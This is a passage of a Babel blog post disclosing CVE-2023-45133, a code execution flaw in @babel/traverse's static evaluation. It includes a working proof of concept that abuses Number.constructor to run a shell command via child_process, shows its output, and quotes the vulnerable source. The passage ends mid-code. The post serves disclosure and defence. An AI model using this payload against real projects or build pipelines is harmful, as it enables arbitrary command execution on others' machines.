<p>On October 10th, 2023, I stumbled upon an arbitrary code execution vulnerability in <a href="https://github.com/babel/babel/" target="_blank" rel="noopener noreferrer" class="">Babel</a>, which was subsequently assigned the identifier CVE-2023-45133. In this post, I’ll walk you through the journey of discovering and exploiting this intriguing flaw.</p>
<div class="theme-admonition theme-admonition-tip admonition_WCGJ alert alert--success"><div class="admonitionHeading_GCBg"><span class="admonitionIcon_L39b"><svg viewBox="0 0 12 16"><path fill-rule="evenodd" d="M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z"></path></svg></span>tip</div><div class="admonitionContent_pbrs"><p>This article was originally published on <a href="https://steakenthusiast.github.io/" target="_blank" rel="noopener noreferrer" class="">William Khem Marquez's blog</a>. He also published a series on using Babel to deobfuscate JavaScript code: check it out!</p></div></div>
<p>Those who use Babel for reverse engineering/code deobfuscation love using Babel because of all of the built in functionality it provides. One of the most useful features is the ability to statically evaluate expressions using <code>path.evaluate()</code> and <code>path.evaluateTruthy()</code>. I have written about this in the previous articles:</p>
<ul>
<li class=""><a href="https://steakenthusiast.github.io/2022/05/28/Deobfuscating-Javascript-via-AST-Manipulation-Constant-Folding/" target="_blank" rel="noopener noreferrer" class="">Constant Folding</a></li>
<li class=""><a href="https://steakenthusiast.github.io/2022/06/14/Deobfuscating-Javascript-via-AST-Deobfuscating-a-Peculiar-JSFuck-style-Case/" target="_blank" rel="noopener noreferrer" class="">A Peculiar JSFuck-style Case</a></li>
</ul>
<p>Wait, did I say <em>statically evaluate</em>?</p>
<h2 class="anchor anchorTargetStickyNavbar_tleR" id="the-exploit">The Exploit<a href="https://babeljs.io/blog/2023/10/16/cve-2023-45133#the-exploit" class="hash-link" aria-label="Direct link to The Exploit" title="Direct link to The Exploit" translate="no">​</a></h2>
<p>Before delving into the details, let’s take a look at the proof of concept I came up with:</p>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="proof-of-concept">Proof of Concept<a href="https://babeljs.io/blog/2023/10/16/cve-2023-45133#proof-of-concept" class="hash-link" aria-label="Direct link to Proof of Concept" title="Direct link to Proof of Concept" translate="no">​</a></h3>
<div class="language-javascript codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-javascript codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> parser </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">require</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"@babel/parser"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> traverse </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">require</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"@babel/traverse"</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token keyword module" style="color:#8959a8">default</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> source </span><span class="token operator">=</span><span class="token plain"> </span><span class="token template-string template-punctuation string" style="color:#718c00">`</span><span class="token template-string string" style="color:#718c00">String({  toString: Number.constructor("console.log(process.mainModule.require('child_process').execSync('id').toString())")});</span><span class="token template-string template-punctuation string" style="color:#718c00">`</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> ast </span><span class="token operator">=</span><span class="token plain"> parser</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">parse</span><span class="token punctuation">(</span><span class="token plain">source</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> evalVisitor </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token function maybe-class-name" style="color:#4271ae">Expression</span><span class="token punctuation">(</span><span class="token parameter" style="color:#f5871f">path</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    path</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">evaluate</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">}</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token function" style="color:#4271ae">traverse</span><span class="token punctuation">(</span><span class="token plain">ast</span><span class="token punctuation">,</span><span class="token plain"> evalVisitor</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br></span></code></pre></div></div>
<p>This simply outputs the result of the <code>id</code> command to the terminal, as can be seen below.</p>
<div class="language-text codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-text codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token plain">┌──(kali㉿kali)-[~/Babel RCE]</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">└─$ node exploit.js</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),111(bluetooth),115(scanner),138(wireshark),141(kaboxer),142(vboxsf)</span><br></span></code></pre></div></div>
<p>Of course, the payload can be adapted to do anything, such as exfiltrate data or spawn a reverse shell.</p>
<img alt="😁" src="https://babeljs.io/assets/2023-10-16-cve-2023-45133/success.jpg" style="display:block;margin-left:auto;margin-right:auto;width:50%">
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="exploit-breakdown">Exploit Breakdown<a href="https://babeljs.io/blog/2023/10/16/cve-2023-45133#exploit-breakdown" class="hash-link" aria-label="Direct link to Exploit Breakdown" title="Direct link to Exploit Breakdown" translate="no">​</a></h3>
<p>To understand why this vulnerability works, we need to understand the source code of the culprit function, <code>evaluate</code>. The source code of <code>babel-traverse/src/path/evaluation.ts</code> prior to the fix is archived <a href="https://github.com/babel/babel/blob/7e198e5959b18373db3936fa3223c0811cebfac1/packages/babel-traverse/src/path/evaluation.ts" target="_blank" rel="noopener noreferrer" class="">here</a></p>
<div class="language-typescript codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-typescript codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token doc-comment comment" style="color:#8e908c">/**</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token doc-comment comment" style="color:#8e908c"> * Walk the input `node` and statically evaluate it.</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token doc-comment comment" style="color:#8e908c"> *</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token doc-comment comment" style="color:#8e908c"> * Returns an object in the form `</span><span class="token doc-comment comment punctuation" style="color:#8e908c">{</span><span class="token doc-comment comment" style="color:#8e908c"> confident, value, deopt </span><span class="token doc-comment comment punctuation" style="color:#8e908c">}</span><span class="token doc-comment comment" style="color:#8e908c">`. `confident`</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token doc-comment comment" style="color:#8e908c"> * indicates whether or not we had to drop out of evaluating the expression</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token doc-comment comment" style="color:#8e908c"> * because of hitting an unknown node that we couldn't confidently find the</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token doc-comment comment" style="color:#8e908c"> * value of, in which case `deopt` is the path of said node.</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token doc-comment comment" style="color:#8e908c"> *</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token doc-comment comment" style="color:#8e908c"> * Example:</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token doc-comment comment" style="color:#8e908c"> *</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token doc-comment comment" style="color:#8e908c"> *   t.evaluate(parse("5 + 5")) // </span><span class="token doc-comment comment punctuation" style="color:#8e908c">{</span><span class="token doc-comment comment" style="color:#8e908c"> confident: true, value: 10 </span><span class="token doc-comment comment punctuation" style="color:#8e908c">}</span><span class="token doc-comment comment" style="color:#8e908c"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token doc-comment comment" style="color:#8e908c"> *   t.evaluate(parse("!true")) // </span><span class="token doc-comment comment punctuation" style="color:#8e908c">{</span><span class="token doc-comment comment" style="color:#8e908c"> confident: true, value: false </span><span class="token doc-comment comment punctuation" style="color:#8e908c">}</span><span class="token doc-comment comment" style="color:#8e908c"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token doc-comment comment" style="color:#8e908c"> *   t.evaluate(parse("foo + foo")) // </span><span class="token doc-comment comment punctuation" style="color:#8e908c">{</span><span class="token doc-comment comment" style="color:#8e908c"> confident: false, value: undefined, deopt: NodePath </span><span class="token doc-comment comment punctuation" style="color:#8e908c">}</span><span class="token doc-comment comment" style="color:#8e908c"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token doc-comment comment" style="color:#8e908c"> *</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token doc-comment comment" style="color:#8e908c"> */</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">export</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">function</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">evaluate</span><span class="token punctuation">(</span><span class="token keyword" style="color:#8959a8">this</span><span class="token operator">:</span><span class="token plain"> NodePath</span><span class="token punctuation">)</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  confident</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#f5871f">boolean</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  value</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#f5871f">any</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  deopt</span><span class="token operator">?</span><span class="token operator">:</span><span class="token plain"> NodePath</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> state</span><span class="token operator">:</span><span class="token plain"> State </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    confident</span><span class="token operator">:</span><span class="token plain"> </span><span class="token boolean" style="color:#f5871f">true</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    deoptPath</span><span class="token operator">:</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">null</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    seen</span><span class="token operator">:</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">new</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">Map</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">}</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">let</span><span class="token plain"> value </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">evaluateCached</span><span class="token punctuation">(</span><span class="token keyword" style="color:#8959a8">this</span><span class="token punctuation">,</span><span class="token plain"> state</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">if</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token operator">!</span><span class="token plain">state</span><span class="token punctuation">.</span><span class="token plain">confident</span><span class="token punctuation">)</span><span class="token plain"> value </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">undefined</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">return</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    confident</span><span class="token operator">:</span><span class="token plain"> state</span><span class="token punctuation">.</span><span class="token plain">confident</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    deopt</span><span class="token operator">:</span><span class="token plain"> state</span><span class="token punctuation">.</span><span class="token plain">deoptPath</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    value</span><span class="token operator">:</span><span class="token plain"> value</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">}</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre></div></div>
<p>When <code>evaluate</code> is called on a NodePath, it goes through the <code>evaluatedCached</code> wrapper, before reaching the <code>_evaluate</code> function which does all the heavy lifting. The <code>_evaluate</code> function is where the vulnerability lies.</p>
<p>This function is responsible for recursively breaking down AST nodes until it reaches an atomic operation that can be evaluated confidently. The majority of the base cases are evaluated for atomic operations only (such as for binary expressions between two literals). However, there are a few exceptions to this rule.</p>
<p>The two pieces of the source code we care about are the handling of <strong>call expressions</strong> and <strong>object expressions</strong>, as shown below:</p>
<h4 class="anchor anchorTargetStickyNavbar_tleR" id="vulnerable-source-code">Vulnerable Source Code<a href="https://babeljs.io/blog/2023/10/16/cve-2023-45133#vulnerable-source-code" class="hash-link" aria-label="Direct link to Vulnerable Source Code" title="Direct link to Vulnerable Source Code" translate="no">​</a></h4>
<details class="details_IpIu alert alert--info details_jERq" data-collapsed="true"><summary>Relevant <code>_evaluate</code> source code</summary><div><div class="collapsibleContent_Fd2D"><div class="language-typescript codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-typescript codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> </span><span class="token constant" style="color:#f5871f">VALID_OBJECT_CALLEES</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation">[</span><span class="token string" style="color:#718c00">"Number"</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"String"</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"Math"</span><span class="token punctuation">]</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">as</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">const</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> </span><span class="token constant" style="color:#f5871f">VALID_IDENTIFIER_CALLEES</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation">[</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token string" style="color:#718c00">"isFinite"</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token string" style="color:#718c00">"isNaN"</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token string" style="color:#718c00">"parseFloat"</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token string" style="color:#718c00">"parseInt"</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token string" style="color:#718c00">"decodeURI"</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token string" style="color:#718c00">"decodeURIComponent"</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token string" style="color:#718c00">"encodeURI"</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token string" style="color:#718c00">"encodeURIComponent"</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  process</span><span class="token punctuation">.</span><span class="token plain">env</span><span class="token punctuation">.</span><span class="token constant" style="color:#f5871f">BABEL_8_BREAKING</span><span class="token plain"> </span><span class="token operator">?</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"btoa"</span><span class="token plain"> </span><span class="token operator">:</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">null</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  process</span><span class="token punctuation">.</span><span class="token plain">env</span><span class="token punctuation">.</span><span class="token constant" style="color:#f5871f">BABEL_8_BREAKING</span><span class="token plain"> </span><span class="token operator">?</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"atob"</span><span class="token plain"> </span><span class="token operator">:</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">null</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">]</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">as</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">const</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> </span><span class="token constant" style="color:#f5871f">INVALID_METHODS</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation">[</span><span class="token string" style="color:#718c00">"random"</span><span class="token punctuation">]</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">as</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">const</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">function</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">isValidObjectCallee</span><span class="token punctuation">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  val</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#f5871f">string</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">)</span><span class="token operator">:</span><span class="token plain"> val </span><span class="token keyword" style="color:#8959a8">is</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token keyword" style="color:#8959a8">typeof</span><span class="token plain"> </span><span class="token constant" style="color:#f5871f">VALID_OBJECT_CALLEES</span><span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token builtin" style="color:#f5871f">number</span><span class="token punctuation">]</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">return</span><span class="token plain"> </span><span class="token constant" style="color:#f5871f">VALID_OBJECT_CALLEES</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">includes</span><span class="token punctuation">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token comment" style="color:#8e908c">// @ts-expect-error val is a string</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    val</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">function</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">isValidIdentifierCallee</span><span class="token punctuation">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  val</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#f5871f">string</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">)</span><span class="token operator">:</span><span class="token plain"> val </span><span class="token keyword" style="color:#8959a8">is</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token keyword" style="color:#8959a8">typeof</span><span class="token plain"> </span><span class="token constant" style="color:#f5871f">VALID_IDENTIFIER_CALLEES</span><span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token builtin" style="color:#f5871f">number</span><span class="token punctuation">]</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">return</span><span class="token plain"> </span><span class="token constant" style="color:#f5871f">VALID_IDENTIFIER_CALLEES</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">includes</span><span class="token punctuation">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token comment" style="color:#8e908c">// @ts-expect-error val is a string</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    val</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">function</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">isInvalidMethod</span><span class="token punctuation">(</span><span class="token plain">val</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#f5871f">string</span><span class="token punctuation">)</span><span class="token operator">:</span><span class="token plain"> val </span><span class="token keyword" style="color:#8959a8">is</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token keyword" style="color:#8959a8">typeof</span><span class="token plain"> </span><span class="token constant" style="color:#f5871f">INVALID_METHODS</span><span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token builtin" style="color:#f5871f">number</span><span class="token punctuation">]</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">return</span><span class="token plain"> </span><span class="token constant" style="color:#f5871f">INVALID_METHODS</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">includes</span><span class="token punctuation">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token comment" style="color:#8e908c">// @ts-expect-error val is a string</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    val</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">function</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">_evaluate</span><span class="token punctuation">(</span><span class="token plain">path</span><span class="token operator">:</span><span class="token plain"> NodePath</span><span class="token punctuation">,</span><span class="token plain"> state</span><span class="token operator">:</span><span class="token plain"> State</span><span class="token punctuation">)</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#f5871f">any</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token doc-comment comment" style="color:#8e908c">/** snip **/</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">if</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token plain">path</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">isObjectExpression</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> obj </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> props </span><span class="token operator">=</span><span class="token plain"> path</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">get</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"properties"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token keyword" style="color:#8959a8">for</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> prop </span><span class="token keyword" style="color:#8959a8">of</span><span class="token plain"> props</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token keyword" style="color:#8959a8">if</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token plain">prop</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">isObjectMethod</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token operator">||</span><span class="token plain"> prop</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">isSpreadElement</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        </span><span class="token function" style="color:#4271ae">deopt</span><span class="token punctuation">(</span><span class="token plain">prop</span><span class="token punctuation">,</span><span class="token plain"> state</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token 